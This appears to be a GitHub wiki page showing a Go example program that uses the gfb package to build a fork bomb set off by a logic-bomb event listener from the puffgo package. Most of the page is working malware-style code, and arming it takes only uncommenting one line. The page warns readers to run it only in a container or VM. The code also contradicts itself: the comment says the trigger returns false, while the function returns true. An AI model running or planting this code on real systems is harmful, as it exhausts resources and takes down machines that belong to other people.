- 
                Notifications
    You must be signed in to change notification settings 
- Fork 3
Examples
        Aliasgar Khimani edited this page Mar 14, 2022 
        ·
        5 revisions
      
    Here's an example program making use of the gfb package:
❗ :WARNING ❗: DO NOT execute this program on your system if the bomb is armed. Please do so inside a docker container and/or a VM. The project team is not answerable for any issues/damages you may cause to your system if you execute this program.
package main
import (
	"fmt"
	"time"
	"github.com/ARaChn3/gfb"
	"github.com/ARaChn3/puffgo"
)
func main() {
	// interval is the interval between listening cycles of the event listener
	interval := 500 * time.Millisecond
	// First we need to declare an event-listener for the logic-bomb:
	// We can do so using the NewListener() method
	el := puffgo.NewListener(&interval, triggerFunction)
	// We can now create the fork-bomb using the NewBomb method:
	fb := gfb.NewBomb(el)
	// Next, we need to arm the bomb for it to go off when it detects
	// a signal from the event-listener
	// TODO: uncomment this to arm.
	// fb.Arm()
}
// This can be anything.
// For the sake of simplicity, let it be a simple function that returns false
func triggerFunction() bool {
	return true
}